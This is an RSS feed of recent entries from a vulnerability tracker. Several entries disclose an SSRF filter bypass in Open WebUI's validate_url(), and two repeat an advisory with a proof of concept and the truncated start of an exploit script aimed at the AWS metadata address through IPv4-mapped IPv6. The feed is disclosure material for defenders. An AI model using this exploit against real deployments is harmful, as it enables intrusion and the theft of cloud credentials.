<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 16 Oct 2026 20:18:41 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-07199</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-07199</link>
      <description>bdu:2026-07199</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-07199</guid>
    </item>
    <item>
      <title>EUVD-2026-319101</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-319101</link>
      <description>EUVD-2026-319101</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-319101</guid>
    </item>
    <item>
      <title>fkie_cve-2026-45331</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-45331</link>
      <description>&lt;p&gt;Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-45331</guid>
    </item>
    <item>
      <title>GHSA-4v7r-f4w8-8972 — Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-4v7r-f4w8-8972</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.&lt;/p&gt;
&lt;p&gt;The vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch&amp;#39;s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.&lt;/p&gt;
&lt;p&gt;## Affected code&lt;/p&gt;
&lt;p&gt;`backend/open_webui/retrieval/web/utils.py validate_url()`:&lt;/p&gt;
&lt;p&gt;```python
if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)
```&lt;/p&gt;
&lt;p&gt;## Proof of concept&lt;/p&gt;
&lt;p&gt;```python
import validators
print(validators.ipv6(&amp;#34;::1&amp;#34;, private=True))
# ValidationError(func=ipv6, args={&amp;#39;reason&amp;#39;: &amp;#34;ipv6() got an unexpected keyword argument &amp;#39;private&amp;#39;&amp;#34;, ...})
```&lt;/p&gt;
&lt;p&gt;End-to-end exploit:&lt;/p&gt;
&lt;p&gt;```python
import requests, ipaddress&lt;/p&gt;
&lt;p&gt;OPEN_WEBUI_URL = &amp;#34;https://target&amp;#34;
TOKEN = &amp;#34;...&amp;#34;
TARGET_IPV4 = &amp;#34;169.254.169.254&amp;#34;   # AWS IMDSv1
mapped = &amp;#34;::ffff:&amp;#34; + TARGET_IPV4&lt;/p&gt;
&lt;p&gt;requests.…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.&lt;/p&gt;
&lt;p&gt;The vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch&amp;#39;s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.&lt;/p&gt;
&lt;p&gt;## Affected code&lt;/p&gt;
&lt;p&gt;`backend/open_webui/retrieval/web/utils.py validate_url()`:&lt;/p&gt;
&lt;p&gt;```python
if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)
```&lt;/p&gt;
&lt;p&gt;## Proof of concept&lt;/p&gt;
&lt;p&gt;```python
import validators
print(validators.ipv6(&amp;#34;::1&amp;#34;, private=True))
# ValidationError(func=ipv6, args={&amp;#39;reason&amp;#39;: &amp;#34;ipv6() got an unexpected keyword argument &amp;#39;private&amp;#39;&amp;#34;, ...})
```&lt;/p&gt;
&lt;p&gt;End-to-end exploit:&lt;/p&gt;
&lt;p&gt;```python
import requests, ipaddress&lt;/p&gt;
&lt;p&gt;OPEN_WEBUI_URL = &amp;#34;https://target&amp;#34;
TOKEN = &amp;#34;...&amp;#34;
TARGET_IPV4 = &amp;#34;169.254.169.254&amp;#34;   # AWS IMDSv1
mapped = &amp;#34;::ffff:&amp;#34; + TARGET_IPV4&lt;/p&gt;
&lt;p&gt;requests.…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-4v7r-f4w8-8972</guid>
    </item>
    <item>
      <title>PYSEC-2026-2702 — Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2702</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.&lt;/p&gt;
&lt;p&gt;The vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch&amp;#39;s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.&lt;/p&gt;
&lt;p&gt;## Affected code&lt;/p&gt;
&lt;p&gt;`backend/open_webui/retrieval/web/utils.py validate_url()`:&lt;/p&gt;
&lt;p&gt;```python
if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)
```&lt;/p&gt;
&lt;p&gt;## Proof of concept&lt;/p&gt;
&lt;p&gt;```python
import validators
print(validators.ipv6(&amp;#34;::1&amp;#34;, private=True))
# ValidationError(func=ipv6, args={&amp;#39;reason&amp;#39;: &amp;#34;ipv6() got an unexpected keyword argument &amp;#39;private&amp;#39;&amp;#34;, ...})
```&lt;/p&gt;
&lt;p&gt;End-to-end exploit:&lt;/p&gt;
&lt;p&gt;```python
import requests, ipaddress&lt;/p&gt;
&lt;p&gt;OPEN_WEBUI_URL = &amp;#34;https://target&amp;#34;
TOKEN = &amp;#34;...&amp;#34;
TARGET_IPV4 = &amp;#34;169.254.169.254&amp;#34;   # AWS IMDSv1
mapped = &amp;#34;::ffff:&amp;#34; + TARGET_IPV4&lt;/p&gt;
&lt;p&gt;requests.…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.&lt;/p&gt;
&lt;p&gt;The vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch&amp;#39;s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.&lt;/p&gt;
&lt;p&gt;## Affected code&lt;/p&gt;
&lt;p&gt;`backend/open_webui/retrieval/web/utils.py validate_url()`:&lt;/p&gt;
&lt;p&gt;```python
if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)
```&lt;/p&gt;
&lt;p&gt;## Proof of concept&lt;/p&gt;
&lt;p&gt;```python
import validators
print(validators.ipv6(&amp;#34;::1&amp;#34;, private=True))
# ValidationError(func=ipv6, args={&amp;#39;reason&amp;#39;: &amp;#34;ipv6() got an unexpected keyword argument &amp;#39;private&amp;#39;&amp;#34;, ...})
```&lt;/p&gt;
&lt;p&gt;End-to-end exploit:&lt;/p&gt;
&lt;p&gt;```python
import requests, ipaddress&lt;/p&gt;
&lt;p&gt;OPEN_WEBUI_URL = &amp;#34;https://target&amp;#34;
TOKEN = &amp;#34;...&amp;#34;
TARGET_IPV4 = &amp;#34;169.254.169.254&amp;#34;   # AWS IMDSv1
mapped = &amp;#34;::ffff:&amp;#34; + TARGET_IPV4&lt;/p&gt;
&lt;p&gt;requests.…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2702</guid>
    </item>
  </channel>
</rss>
